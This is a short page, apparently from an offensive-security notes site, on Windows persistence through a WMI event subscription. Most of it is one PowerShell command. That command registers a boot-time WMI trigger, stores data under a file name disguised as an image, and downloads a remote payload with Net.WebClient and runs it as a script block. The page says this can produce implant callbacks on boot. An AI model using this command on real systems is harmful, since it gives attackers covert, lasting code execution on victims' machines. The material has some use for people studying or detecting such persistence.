Skip to content

Windows Persistence

WMI Subscription

Install wmi persistence for on-boot

Great research can be found on Black Hats site1. The script can be found at or in the Empire agent.


This method sometimes returns two callbacks on boot!

Install-WmiSubscription -CustomEvent -Query "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320" -Namespace "root\cimv2" -DiskStorageLocation "C:\Windows\tasks\cat.jpg" -Command "`"&([ScriptBlock]::Create((([Char[]](New-Object Net.WebClient).DownloadData(''))-Join'')))`"" -Verbose

Last update: May 7, 2020